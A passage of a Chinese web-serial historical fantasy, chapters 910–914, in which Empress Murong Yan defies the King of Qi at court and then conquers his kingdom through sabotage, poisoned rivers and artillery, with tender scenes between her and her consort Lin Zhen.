华贵到极致的拖尾其上镶嵌的宝石疯狂折射着殿内光芒,如同一道流动的、侵略性十足的墨金色河流,傲慢地漫过齐国的皇家地砖,其棉质的柔软与地面的坚硬形成触觉上的对比,视觉上的华贵则形成了一种无声的碾压! 她容颜绝世,神情却是一种极致的慵懒与漠然,仿佛眼前齐国的赫赫威仪、百官的目光,皆如尘埃般微不足道。 她步伐从容,?迤逦行至大殿中央,?那五丈拖尾在她身后铺陈开来,?占据了极大的空间,?仿佛将天授殿都变成了她的寝宫外殿。 齐王瞳孔微缩,握着扶手的手背青筋隐现。殿内齐国群臣更是面露惊愕、愤怒,乃至一丝难以抑制的恐惧。 这身打扮,已不是失礼,而是赤裸裸的羞辱与挑衅! “大乾皇帝陛下远道而来,有失远迎。”齐王的声音沉稳,却透着一丝冷意,并未起身相迎,维持着君主的威严。 慕容嫣停下脚步,?并未施礼,?只是微微抬了抬下巴,?目光平静地迎上齐王的视线,声音清冷,不带丝毫情绪:“齐王,客套就免了。朕的时间很宝贵。” 此言一出,满殿哗然!齐国群臣怒目而视! 齐王脸色一沉,强压怒火:“既如此,便请陛下上座,共商两国边境安宁之大计。” 他示意殿中早已设好的、略低于龙椅的客座。 慕容嫣却看也没看那客座,?反而轻轻侧身,?目光扫过殿内陈列,?最后落在殿角一尊巨大的、用来象征和平的玉帛雕塑上,?嘴角勾起一抹极淡的嘲讽?:“安宁?齐王是在说笑吗?” 她踱步走向那玉帛雕塑,?五丈拖尾随之滑动,?碾过光滑的地面?:“朕的西南边境刚用叛蛮的血洗过,现在还很‘安宁’。” 她在玉帛前停下,?伸出戴着墨玉扳指的纤指,?极轻地拂过冰冷的玉璧,声音陡然转冷:“倒是齐王的北境似乎不太安宁。朕的几只‘小雀儿’飞进去玩了玩好像惊扰了齐王的清梦?” 她指的是暗卫在齐国的破坏活动! 这是赤裸裸的承认与挑衅! 齐王再也忍不住,猛地一拍龙椅扶手,怒喝道:“慕容嫣!你纵容细作在我国境内肆意破坏,劫掠商队,刺杀大臣!还敢在此大放厥词?!真当我大齐无人吗?!” “哦?”慕容嫣缓缓转过身,?面对齐王,?宽大喇叭袖轻轻一摆,“原来齐王也知道那是‘破坏’?那齐王收留朕的叛臣,窃取朕的技艺,武装蛮族,寇我边境这又算什么?睦邻友好?” 她的声音不高,却字字如刀,犀利无比! “你!”齐王气结,脸色铁青,“宇文述乃弃暗投明!你暴虐无道,天下共知!他投奔我大齐,是顺应天命!” “天命?”慕容嫣轻笑出声,笑声清脆,却带着无尽的冰冷与嘲讽,“朕就是天命。” 她目光扫过怒不可遏的齐国群臣,?最终回到齐王身上?:“朕今日来,不是来听你讲‘天命’的。朕只问一句,” 她微微前倾身体,?虽站在殿下,?气势却仿佛凌驾于玉阶之上?:“把人和东西还给朕。然后自去帝号,上表称臣。朕或可考虑留你齐国宗庙祭祀。” “狂妄!” “大胆!” “欺人太甚!” 齐国群臣彻底炸锅! 怒吼声此起彼伏! 这条件,简直是亡国之辱! 齐王怒极反笑:“慕容嫣!你休要做梦!朕念你是女流,与你会谈,你竟如此不识抬举!莫非你真以为,凭你大乾,能与我大齐抗衡?别忘了,你国内叛乱初平,百废待兴!而朕的铁骑,早已蓄势待发!” “铁骑?”慕容嫣仿佛听到了什么好笑的事情,?她甚至微微摇了摇头,“齐王是说那些连朕的边军都冲不破的驽马吗?” 她不再看齐王,?而是转身,?面向殿门方向,?似乎已对这场谈判失去了所有兴趣。 林臻沉默地跟上一步,依旧守护在侧。 “看来是谈不拢了。”慕容嫣轻声自语般说道。 就在这时,齐王身边一名老臣似乎想挽回局面,强压怒火出列道:“大乾陛下!两国交兵,生灵涂炭!何必意气用事?不若各退一步,我大齐可承诺约束宇文述,不再传授贵国技艺,贵国亦需撤回细作,赔偿我国损失,双方以现有边境为界,永结盟好” 他话未说完,慕容嫣猛地回身?! 动作迅疾而充满怒意! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同被激怒的凤凰之翼,轰然展开,?唰啦一声扫过光洁的金砖地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在殿内璀璨灯光下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在敌国的殿堂中骤然爆发的烈日金光,尊贵、耀眼,且带着碾碎一切妥协的决绝意味! 裙摆落下,华光内敛。 但慕容嫣的怒火已如同实质:“退一步?盟好?” 她的声音陡然拔高,锐利如冰锥,刺破大殿的喧嚣,“朕的字典里没有‘退’这个字!” 她宽大喇叭袖下的手猛地一挥,指向那尊玉帛雕塑:“盟约?不过是废纸一张!” 在所有人惊骇的目光中,她竟几步走到那玉帛雕塑前,?伸出戴着墨玉扳指的手,?猛地一推!?? “咔嚓——!” 清脆的碎裂声响彻大殿! 那尊象征和平的玉帛雕塑,竟被她一掌推倒,摔在地上,四分五裂! 满殿死寂! 落针可闻! 慕容嫣立于碎片之中,?裙裾迤逦,?目光如万年寒冰,?扫过目瞪口呆的齐王与群臣,声音冰冷到了极致,也清晰到了极致: “听着,高湛。” 她直呼齐王其名! “朕今日踏出此殿,便是宣战。” “朕不要你的称臣朕要你的江山你的宗庙你的人头。” “宇文述朕会亲手剐了他。你的‘天工院’朕会把它夷为平地。” “你的铁骑朕会把他们一个一个碾成肉泥。” “你的临淄城朕会用它做朕的狩猎场。” 第911章 替朕谢谢宇文述 她的每一个字,都带着血腥的杀意与不容置疑的权威! 说完,她不再看任何人,?迤逦着那身华美沉重、仿佛沾染了玉帛碎屑的“神凤降世裙”?,?转身,?向殿外走去。 林臻紧随其后。 走到殿门口,她脚步微顿,?并未回头,声音却再次传来,带着一丝玩味的残忍: “对了替朕谢谢宇文述。” “谢谢他帮朕找到了一个灭你齐国的好借口。” 话音落下,她已一步踏出天授殿。 夏日灼热的阳光瞬间笼罩了她华贵的身影,那五丈长的拖尾在殿外汉白玉台阶上迤逦拖过,留下一道惊心动魄的痕迹。 殿内,死一般的寂静。齐王脸色惨白,浑身颤抖,半晌,猛地喷出一口鲜血!群臣慌乱惊呼! 返回位于临淄城郊的大乾行辕的路上,华丽的凤辇内,慕容嫣慵懒地靠在软垫上,?闭目养神,?仿佛刚才那场惊心动魄的谈判从未发生。 林臻坐在她身侧,沉默不语,目光望着窗外飞速掠过的景物,眼神深邃。 回到行辕,屏退左右,慕容嫣径直走入寝殿。殿内烛火柔和,驱散了夏日的燥热。 她走到巨大的琉璃镜前,?静静地看着镜中自己那身华美依旧的“神凤降世裙”?,?以及裙摆上沾染的些许玉帛粉末。 “脏了。”她轻声说,?语气里带着一丝真实的嫌恶。 林臻默默上前,取过一方温热的湿巾,单膝跪地,?极其小心地、一点点地擦拭着她睡裙拖尾边缘的污渍。 动作轻柔而专注,仿佛在对待一件易碎的绝世珍宝。 慕容嫣低头看着他专注的侧脸和轻柔的动作,?眼神中的冰冷与暴戾渐渐褪去,?染上一丝极淡的、难以察觉的复杂情绪。 忽然,她伸出手,?并非接过湿巾,而是用戴着墨玉扳指的指尖,?极轻地抬起了他的下巴,?迫使他仰头看向自己。 四目相对。林臻眼中闪过一丝愕然,随即化为沉静的顺从。 “怕吗?”她轻声问,?声音带着一丝慵懒的沙哑。 林臻微微摇头。 慕容嫣静静看了他片刻,?忽然,她弯下腰,?双臂,?环住了他的脖颈,?将他的头,?轻轻按在了自己柔软的小腹处。 ?宽大华丽的喇叭袖垂落,?拂过他的肩背。 这是一个极其亲昵、甚至带着依赖意味的拥抱。 林臻身体猛地一僵,呼吸瞬间窒住,一动不敢动。 “朕今天很不高兴。”慕容嫣将下巴抵在他的头顶,?声音闷闷的,?带着一丝罕见的、近乎委屈的语调,“那个老东西竟敢那样看着朕,还想让朕退一步,” 她的手臂收紧了些?:“朕想杀人。” 林臻沉默着,感受着她身体的微凉与柔软,以及那睡裙上金线刺绣的细微触感,还有那淡淡的冷梅异香。 过了许久,慕容嫣才缓缓松开他。 她直起身,?脸上又恢复了那副慵懒漠然的神情,?仿佛刚才的脆弱从未出现。 “起来吧。”她淡淡说道,?转身走向浴池方向,“备水朕要沐浴。” “还有,”她脚步微顿,?并未回头,“传令三军明日拔营回国。” “战争开始了。” ?墨金临殿碎玉帛,神凤怒焚盟约书。血诏未下烽烟起,怀抱忠骸慰杀心。 乾齐边境,雁门关外三百里,一处名为“黑风隘”的险要山谷。此处乃齐国北上进入大乾腹地的咽喉要道,地势险峻,易守难攻。 齐王高湛在慕容嫣于天授殿悍然宣战后,虽惊怒交加,但内心深处仍存着极大的自信与不屑。 他自恃齐国兵精粮足,军械不弱,更兼有宇文述提供的“情报”优势,认定慕容嫣不过是一时狂妄,其国内初定,西南新平,根本无力支撑一场与强齐的全面战争。 他调集二十万精锐,号称五十万,以黑风隘为大本营,摆出主动进攻的态势,意图以泰山压顶之势,一举击溃大乾边军,直捣黄龙! 齐军大营连绵数十里,旌旗蔽日,刀枪如林,士气高昂。 中军大帐内,齐王高湛身着金甲,与麾下将领畅饮美酒,指点沙盘,言语间充满对“不知天高地厚的妖女”的蔑视与对即将到来的“辉煌胜利”的憧憬。 “陛下,探马来报,乾军主力龟缩雁门关内,只派小股骑兵骚扰,看来是怕了!”一员大将笑道。 “哼,慕容嫣一介女流,只知在后宫奢靡享乐,懂什么兵法?待我大军叩关,定叫她跪地求饶!”另一员将领附和道。 齐王抚须冷笑:“传令下去,三日后,大军开拔!朕要亲自踏平雁门关,将那妖女擒来,看她还能否穿着那身可笑的睡裙嚣张!” 然而,他们并不知道,在距离黑风隘不到五十里的一处极其隐秘的山谷中,大乾真正的战争机器,正在悄无声息地运转。 这座山谷已被改造成一处庞大而高效的前线指挥枢纽,并非传统军营,而更像一个巨大的、充满机关消息的战争工坊与指挥部结合体。 中心是一座以巨大原木和黑色岩石搭建的、风格粗犷却透着森严气息的殿堂,名为“凤唳堂”。 凤唳堂内,烛火通明,却异常安静。 巨大的北境沙盘上,敌我态势清晰无比。 与齐军大营的喧嚣形成鲜明对比,这里只有精准的命令声和机括转动的细微声响。 慕容嫣并未身着戎装,?依旧穿着那件华美绝伦、轻盈如梦、却与这战争前线的紧张氛围形成诡异融合的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地斜倚在沙盘旁一张铺着完整雪豹皮的宽大卧榻之上。 即便身处前线指挥中枢,这身睡裙依旧保持着惊心动魄的华贵。 ?极致玄黑的苏锦底料在堂内大量牛油巨烛的照耀下,吸吮着火光,呈现出一种深渊般的墨色,织入的金色棉绒与真金线在跃动的火光下流淌着流动的、冰冷而炽热的暗金波光,神秘、高贵,与周遭冰冷的兵戈之气既冲突又奇异地统一。?? “神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在战争的阴影下更显灼热逼人,凤羽层叠,仿佛浴火而舞,尊贵威严中透出碾碎一切的戾气! 凤眸上的黑钻冰冷洞彻,倒映着沙盘上齐军大营的模型。?宽大轻盈的喇叭袖垂落榻边,袖口金线流苏纹丝不动。而她左手拇指上,那枚通体剔透的墨玉扳指,在烛光下泛着幽冷的光泽。 而那长达五丈的苏锦拖尾,?更是毫无顾忌地、迤逦地直接拖曳在凤唳堂粗糙却打磨平整的木质地板上!?? 华贵到极致的拖尾其上镶嵌的宝石在火光下折射出璀璨光芒,如同一道在战争巢穴中流淌的墨金色河流,宣告着皇权对战争的绝对支配。 她容颜绝世,神情却是一种带着玩味的冷漠,指尖戴着墨玉扳指的右手,正有一下没一下地轻轻点着沙盘上代表黑风隘齐军粮草大营的标记。 林臻一身玄色劲装,未着甲胄,面色沉静地立于榻侧稍后,目光锐利地扫视着沙盘上每一处细节,偶尔抬手,无声地指向某个方位,身旁的传令兵便会悄然退下,执行命令。 “齐王现在应该在喝酒吧?”慕容嫣忽然轻声开口,?声音带着一丝慵懒的沙哑,?仿佛在闲聊。 无人回答。堂内只有烛火噼啪声。 她也不在意,?自顾自地继续说道?:“喝吧,多喝点,很快他就没心情喝了。” 这时,一名暗卫如同鬼魅般闪入堂内,单膝跪地,低声禀报:“陛下,齐军粮草大营东南角第三号库已按计划布置完毕。” 慕容嫣嘴角勾起一抹极淡的、冰冷的弧度?:“很好。通知‘火鸦’,可以点火了。” 暗卫领命,瞬间消失。 慕容嫣目光重新落回沙盘,?指尖轻轻敲击着卧榻边缘?:“算算时间齐王的庆功宴该变成救火宴了。” 果然,不到半个时辰,又一暗卫疾步入内:“陛下,黑风隘齐军粮草大营起火!火借风势,蔓延极快!齐军大乱!” 慕容嫣连眼皮都未抬一下,?只是轻轻“嗯”了一声,?仿佛早有预料。 她端起榻边矮几上的一杯琥珀色美酒,?轻轻抿了一口。 “才烧一个粮仓怎么够?”她放下酒杯,?目光扫向沙盘上齐军水源地,“下一站该轮到他们的水了。” 接下来的几天,齐军大营噩梦连连! 今日是至关重要的水源被投毒,虽未造成大规模伤亡,却导致军心惶惶,人马饮水都成问题;明日是数支精锐巡逻队在外出侦察时遭遇神秘伏击,全军覆没,尸体被摆成诡异的图案。 后日则是军中高级将领接连遭遇“意外”身亡,或是被毒蛇咬死,或是坠马摔断脖颈,死因蹊跷,明显是精心策划的暗杀! 齐军从一开始的骄狂,迅速转变为惊疑不定! 军营中流言四起,都说大乾有鬼神相助,慕容嫣会妖法! 齐王高湛最初的自信被一次次突如其来的打击消磨,庆功宴早已停摆,取而代之的是焦头烂额的军议和越来越严厉的惩处命令,却依旧无法阻止噩运的降临! 第912章 你来嘛~ 这一日,凤唳堂内,沙盘上齐军前锋大营的标记被一面小旗取代,代表其已被拔除。慕容嫣听着战报,?脸上没有任何表情。 “齐王现在应该不是不屑,而是有点疼了吧?”她轻声问,?语气带着一丝残忍的快意。 她缓缓坐起身,?五丈拖尾随之滑动。 她踱步到沙盘前,?目光落在代表黑风隘主隘口的模型上。 “是时候让他更疼一点了。”她伸出戴着墨玉扳指的手,?轻轻拔掉了隘口处代表齐军主力防守的一面较大的旗帜。 “传令‘雷神营’,”她声音清晰而冰冷,“明日拂晓,对准黑风隘主隘口左右两翼的山体给朕轰!” “朕要看看是齐王的关隘硬还是朕的炮火硬。” 次日拂晓,天色未明,黑风隘方向突然传来连绵不绝的、如同九天雷霆般的巨响! 大地为之震颤! 齐军惊恐地看到,隘口两侧原本坚固无比的山体,在一种他们从未见过的、威力巨大的火炮轰击下,竟如同豆腐般被生生炸开! 巨石滚落,尘土漫天,苦心经营的防御工事瞬间化为废墟! 驻扎在两侧的齐军精锐,连敌人的面都没见到,就被活埋或炸得粉身碎骨! 消息传回齐军大营,齐王高湛终于彻底变色! 他冲到帐外,望着远处弥漫的硝烟和隐隐传来的惨叫声,脸色煞白,握着剑柄的手剧烈颤抖! 这是什么武器?! 宇文述从未提过乾军有如此恐怖的火炮! 恐惧,如同冰冷的毒蛇,第一次真正缠上了他的心脏! 当他失魂落魄地回到中军大帐,却看到案几上,不知何时,被人放上了一杯酒。 酒色猩红,如血。旁边还有一张字条,字迹娟秀却透着森森寒意: “齐王陛下,庆功酒凉了,换杯‘惊惶酒’可还合口味?——慕容嫣赠。” “噗——!”齐王猛地喷出一口鲜血,又惊又怒,几乎晕厥! 慕容嫣的人,竟然能悄无声息地将东西放入他的中军大帐?! 这岂不是说,她随时可以取他性命?! 当夜,齐军大营风声鹤唳,巡逻兵力增加数倍,齐王更是彻夜难眠,杯弓蛇影。 凤唳堂内,慕容嫣听着暗卫回报齐王吐血、军营戒严的消息,?终于轻笑出声。 笑声清脆,在堂内回荡,却让侍立一旁的将领们不寒而栗。 “才吐一口血?”她歪着头,?语气带着天真的残忍,“朕还以为他能多撑一会儿呢。” 她似乎心情不错,?慵懒地伸了个懒腰,?宽大喇叭袖随之拂动。她转身,?看向一直沉默立于阴影中的林臻。 “夫君,”她轻声唤道,?声音里带着一丝倦意,?又有一丝依赖,“你来嘛~” 林臻依言上前。 慕容嫣并未再多言,?而是忽然伸出双臂,?搂住了他的腰,?将头,?轻轻靠在了他坚实的胸膛上。? 宽大华丽的喇叭袖环住他,?墨金色的苏锦与他玄色的劲装紧密相贴。 ?那五丈长的拖尾,?也有一部分,?自然地缠绕在了他的腿边。 这是一个极其自然、却又在战争背景下显得无比突兀的亲昵拥抱。她仿佛在汲取他身上的温暖与安定。 林臻身体微微一僵,随即放松下来,任由她靠着,双臂迟疑了一下,最终轻轻环住了她的肩膀。 他能感受到她睡裙面料苏锦的微凉丝滑与金线刺绣的硬度,能闻到她发间那独特的冷梅异香,混合着堂内淡淡的硝烟气息。 堂内其他将领早已识趣地垂首屏息,悄然退至远处。 “他怕了,”慕容嫣将脸埋在他胸前,?声音闷闷的,?带着一丝满意的慵懒,“真好玩。” 林臻沉默着,只是收紧了手臂。 过了许久,慕容嫣才缓缓抬起头。 她脸上已恢复了那副慵懒漠然的神情,?但眼底深处,?似乎多了一丝不易察觉的放松。 她伸手,?用戴着墨玉扳指的指尖,?轻轻拂过林臻的下巴,?动作带着一种占有的亲昵。 “等着吧,”她目光望向堂外漆黑的夜空,?声音变冷,“等他把血流干,等他的胆子吓破。” 她猛地回身?! 动作带着决绝的杀意! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同即将扑食的凤凰之翼,轰然展开,?唰啦一声扫过木质地板!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在烛火下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在战争的阴影中骤然爆发的复仇烈焰,尊贵、耀眼,且带着吞噬一切的决绝意味! 裙摆落下,华光内敛。 但慕容嫣的战意已如同燎原之火:“下一步该轮到临淄城颤抖了。” 黑风隘惨败的硝烟尚未散尽,齐军主力溃退百里,损兵折将,士气一落千丈。 然而,慕容嫣并未给予敌人喘息之机。 她的兵锋,如同精准的毒蛇,绕过溃军,直插齐国腹地,兵临齐国北境最重要的军事重镇、素有“北疆锁钥”之称的——?“铁壁城”?。 铁壁城,城如其名,城墙高厚,以巨型青石垒成,易守难攻,城内粮草充足,守军五万皆是齐军精锐。 齐王高湛在经历连番打击后,惊魂未定,将最后的希望寄托于此城。他强令守将死守,并紧急从后方调集援军,企图以此城为支点,稳住阵脚,扭转战局。 他内心深处仍存着一丝侥幸,认为慕容嫣长途奔袭,兵力有限,只要守住铁壁城,耗其锐气,待援军抵达,仍有反败为胜之机。 他甚至在给守将的密旨中,依旧带着一丝强撑的傲慢,称慕容嫣为“黔驴技穷的妖女”。 然而,他并不知道,慕容嫣的目标,从来就不是简单的攻城略地。 铁壁城外三十里,一处地势略高、可俯瞰整个城池及周边山川的丘陵之上,大乾前线指挥中枢——“凤翔台”已然建立。 此台并非简单营帐,而是以巨木和夯土快速构筑起的、带有明显宫殿风格的临时高台,台上视野开阔,可容车马,四周凤翎卫戒备森严。 时值深秋,寒风萧瑟,枯草连天。凤翔台中央,巨大的北境沙盘上,铁壁城的模型被无数代表乾军的小旗层层包围。 慕容嫣并未在温暖的室内,?而是身穿着那件华美绝伦、轻盈如梦、却与这肃杀秋日、兵临城下的场景形成惊心动魄对比的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正迎风立于高台边缘,?眺望着远处那座如同灰色巨兽般盘踞的城池。 秋风猎猎,吹拂着她的长发与宽大喇叭袖,?裙裾飞扬。?极致玄黑的苏锦底料在秋日惨淡的阳光下,吸吮着光线,呈现出一种饱经风霜却愈发沉静的墨色,织入的金色棉绒与真金线在风中流淌着冰冷而坚韧的暗金波光,神秘、高贵,与脚下枯黄的大地、远处肃杀的城池形成了极致反差。 ??“神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在秋风中仿佛欲乘风而起,凤羽层叠,灼灼如冷焰,尊贵威严中透出冻结一切的戾气! 凤眸上的黑钻冰冷洞彻,倒映着铁壁城的轮廓。 她左手拇指上,那枚通体剔透的墨玉扳指,在秋阳下泛着幽冷的光泽。 而那长达五丈的苏锦拖尾,?并未被风完全吹起,?而是迤逦地、沉重地直接拖曳在凤翔台粗糙的夯土地面之上!?? 华贵到极致的拖尾沾染了尘土与枯草碎屑,其上镶嵌的宝石固执地折射着冷冽的光芒,如同一道降临战场的、宣告死亡的墨金色界碑。 林臻一身玄色轻甲,外罩墨色披风,静立在她身后半步之遥,面色沉静,目光锐利地扫视着四周旷野与远处的城防,手始终按在腰间的剑柄上。 一名斥候飞奔上高台,单膝跪地:“陛下!齐军援兵先锋已至五十里外黑水河谷,约有骑兵两万!” 另一名将领紧随其后禀报:“陛下,铁壁城四门紧闭,守军戒备森严,滚木礌石充足,强攻恐伤亡甚巨。” 慕容嫣并未回头,?只是轻轻“嗯”了一声,?仿佛早已料到。她抬起戴着墨玉扳指的右手,?指向沙盘上铁壁城模型旁一条蜿蜒的河流。 “这河…是叫‘饮马河’吧?”她轻声问,?声音被风吹得有些飘忽,?却清晰入耳。 “回陛下,正是!此河乃铁壁城及周边唯一水源!”兵部尚书连忙回答。 “水源…”慕容嫣嘴角勾起一抹极淡的、冰冷的弧度,“传令‘毒蝎营’,今夜子时,上游投毒。朕不要他们立刻死,朕要他们慢慢渴死,疯死…” 命令轻描淡写,却让周围将领脊背发凉!这是要绝了满城军民的生路! “陛下!”一位老将忍不住出声,“城内亦有数万百姓,此举是否…” 第913章 齐国灭 慕容嫣缓缓转过身,?目光平静地看向那位老将,?眼神中没有丝毫波澜?:“百姓?当他们选择留在齐王的城里就该想到有今天。” 她宽大喇叭袖轻轻一拂:“要么开城投降,要么与城偕亡。没有第三条路。” 老将噤若寒蝉,再不敢多言。 “至于援军…”慕容嫣目光转向沙盘上黑水河谷,“放他们过来。等他们快到城下看到希望的时候…”她顿了顿,?指尖的墨玉扳指在沙盘河谷出口处重重一点,“‘雷神营’给朕封住谷口。朕要让他们看得见城,进不去城。” 围点打援! 而且要当着守军的面,全歼其希望!这是何等的冷酷与算计! 将领们凛然遵命,眼中充满了敬畏与恐惧。 接下来的几天,铁壁城变成了真正的人间地狱。 饮马河被投毒后,城内军民饮水立刻出现严重问题,虽极力净化,仍不断有人呕吐、腹泻乃至死亡,恐慌迅速蔓延。 城外,乾军并不急于攻城,只是日夜不停地以威力巨大的投石机将腐烂的动物尸体、瘟疫病人的衣物、以及劝降(更确切地说是恐吓)的文书射入城中,进行着残酷的心理战。 而当齐王寄予厚望的两万援军骑兵果然出现在地平线上,城内守军一片欢呼,以为生机已现时,噩梦才真正开始。 乾军早已埋伏在侧的“雷神炮”发出了震天动地的怒吼! 炮弹并非直接攻击骑兵阵列,而是精准地轰击在黑水河谷两侧的山体上! 巨石崩塌,泥沙俱下,瞬间将谷口堵死! 援军前锋试图冲锋,却遭遇早已严阵以待的乾军强弓硬弩和诡异莫测的“铁蒺藜阵”,死伤惨重,根本无法靠近城池半步! 城头上的守军,眼睁睁看着援军在咫尺之遥被屠戮、被活埋,希望瞬间化为更深的绝望!士气彻底崩溃! 齐王高湛在临淄皇宫中,接连收到铁壁城水源被断、援军被阻、城内瘟疫横行、军心涣散的急报,最初的不屑与强撑的傲慢早已荡然无存,取而代之的是越来越深的震惊、恐惧与无力感! 他砸碎了无数珍宝,怒杀了几个报信不利的太监,却无法改变前线溃败的事实。 慕容嫣的手段,狠辣、精准、且完全不顾任何道义与代价,这根本不是一个正常的对手,而是一个从地狱爬出来的复仇恶魔! 这一日,凤翔台上,秋风更冷。慕容嫣依旧立于台边,?听着最新战报?:铁壁城内已出现人吃人的惨剧,守将数次派死士突围求援,皆被射杀,首级被用投石机抛回城内。 “齐王现在应该不是在喝酒了…”慕容嫣轻声自语,?声音带着一丝愉悦的冰冷,“而是在摔东西吧?或者在杀他身边那些没用的废物?” 她缓缓转过身,?面向沙盘。? 五丈拖尾在身后迤逦移动。她走到沙盘前,?看着那座代表铁壁城的、已被猩红小旗团团围住的模型。 “是时候给他们最后一击了。”她伸出戴着墨玉扳指的手,?轻轻拔掉了模型上代表齐国龙旗的小旗。 “传令,”她声音清晰而冷漠,“将俘虏的齐军援兵将领还有那些求援死士的首级全部集中起来。在城下垒一座‘观礼台’。” “再选一百名嗓门大的士兵,日夜不停,对着城头喊话。”她嘴角那抹残忍的弧度加深,“内容嘛,就说说齐王在临淄是如何歌舞升平,如何准备放弃他们的…” “朕要让他们在绝望中慢慢腐烂。” 命令下达,如同死亡的判决。 是夜,铁壁城下,一座由数百颗血淋淋人头垒成的、恐怖无比的“京观”在火把的映照下矗立起来! 乾军士兵用齐地方言,声嘶力竭地宣扬着齐王的“无情”和慕容嫣的“最后通牒”——次日午时,若不开城,屠城三日! 城头上,守军最后的意志彻底崩溃。是夜,城内发生暴乱,守将死于乱军之中。 次日黎明,城门缓缓打开,残存的守军和百姓匍匐在地,迎接他们的征服者。 慕容嫣并未亲自入城。 她只是站在凤翔台上,?远远望着那座死气沉沉的城池,?脸上无喜无悲。 秋风卷着浓烈的血腥味和焦糊气息吹上高台。 她微微蹙眉,?低头看了看自己“神凤降世裙”拖尾边缘沾染的尘土。 “脏了。”她轻声说,?语气里带着真实的嫌恶,?仿佛脚下数万人的生死,?远不及她裙摆的一点污渍重要。 她转身,?准备离开这充满死亡气息的地方。就在她回身的瞬间—— 动作带着胜利者的决绝与一丝不耐! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同凯旋的凤凰之翼,轰然展开,?唰啦一声扫过夯土地面,卷起些许枯草与尘土!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在秋日暗淡的天光下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在尸山血海之上骤然升起的、冰冷而残酷的胜利曙光,尊贵、耀眼,且带着碾碎一切怜悯的无情意味! 裙摆落下,华光内敛。 慕容嫣走向停在一旁的凤辇。 林臻默默跟随。 登上凤辇前,她脚步微顿,?并未回头,对恭立一旁的将领淡淡吩咐:“清理干净。朕不喜欢味道。” 回到温暖如春的临时寝殿,慕容嫣屏退了所有宫人。 殿内烛火柔和,熏香袅袅,试图驱散她从外面带来的血腥与肃杀之气。 她走到巨大的琉璃镜前,?静静地看着镜中自己那身华美依旧、却仿佛萦绕着无形血气的“神凤降世裙”?。 林臻默默跟入,立于她身后不远处。 慕容嫣从镜中看着他沉默的身影,?看了许久。忽然,她转过身,?一步步走到他面前。 她抬起头,?目光直直地望进他的眼底,?那里有疲惫,?有深沉,?却唯独没有对她的恐惧。 “抱朕。”她轻声命令,?声音里带着一丝不易察觉的、胜利之后的空虚与倦怠。 林臻微微一怔,随即没有丝毫犹豫,伸出双臂,?将她整个人紧紧地拥入了怀中。他的动作有些僵硬,却异常坚定。 ?玄色的轻甲与她墨金色的苏锦睡裙紧密相贴,?冰冷的金属与柔软的棉质形成奇特触感。 慕容嫣似乎终于放松了下来。 她将脸深深埋进他的颈窝,?双臂环抱住他结实的腰背,?宽大喇叭袖垂落,?覆盖在他的披风之上。? 那五丈长的拖尾,?也有一部分,?自然地缠绕在了他的腿边。她整个人仿佛要嵌入他的身体里。 林臻能清晰地感受到她身体的微凉与轻微的颤抖,能闻到她发间冷梅香下那一丝若有若无的血腥气。 他没有说话,只是收紧了手臂,用自己身体的温度温暖着她,一只手轻轻拍着她的后背,如同安抚一个受了惊吓的孩子。 殿内一片寂静,只有烛火噼啪作响。 过了许久,慕容嫣才闷闷地开口,?声音带着一丝鼻音?:“朕赢了…” “嗯。”林臻低低地应了一声。 “可朕不高兴。”她抬起头,?眼眶似乎有些微红,?但眼神却异常冰冷,“一点都不高兴。” 她伸出手,?用戴着墨玉扳指的指尖,?用力地戳了戳他的胸口?:“都是因为那些不知死活的废物,浪费了朕这么多时间…” 她的语气任性而残忍,将一场数万人丧生的战争,轻描淡写地归咎于对方“浪费了她的时间”。 林臻沉默着,任由她发泄。 慕容嫣看了他一会儿,?忽然又用力抱紧他,?将脸重新埋回去,?声音低得几乎听不见?:“…幸好还有你在。” 这句低语,与其说是情话,不如说是一种偏执的占有宣言。 林臻身体微微一震,将她抱得更紧。 两人就这样在空旷的寝殿中相拥而立,窗外是北疆萧瑟的秋风与刚刚平息的战火,窗内是暴君难得的脆弱与忠臣无言的守护,构成一幅诡异而凄凉的画面。 ? 第914章 这天下,朕打下来了 乾元三年,冬。 持续数年的乾齐大战,以齐国都城临淄陷落、齐王高湛自焚于宫殿、其国土尽数并入大乾版图而告终。 曾经雄踞西南的强齐,如今只剩下史书上浓墨重彩的一笔,以及无数化为焦土的城池和累累白骨。 慕容嫣以铁血手腕,完成了前所未有的统一霸业,成为了这片广袤土地上唯一的主宰。 凯旋的仪式盛大而血腥。 慕容嫣身着龙袍衮服,接受了万邦来朝,将被俘的齐国宗室、顽抗将领尽数屠戮,铸成京观,震慑天下。 然而,当所有的喧嚣落幕,当权力的顶峰只剩下无尽的孤寂与寒风时,她似乎将所有的情绪,都倾注到了那个始终陪伴在她身边的身影之上——林臻。 深冬的皇城,银装素裹,鹅毛大雪纷纷扬扬,将往日肃杀的朱墙金瓦染上一层静谧的银白。 然而,在慕容嫣所居的“凤寰宫”内,却是温暖如春,地龙烧得极旺,殿角巨大的鎏金凤首香炉吞吐着昂贵的龙涎香,氤氲出甜暖的气息。 慕容嫣似乎彻底厌倦了那些繁复沉重的朝服。 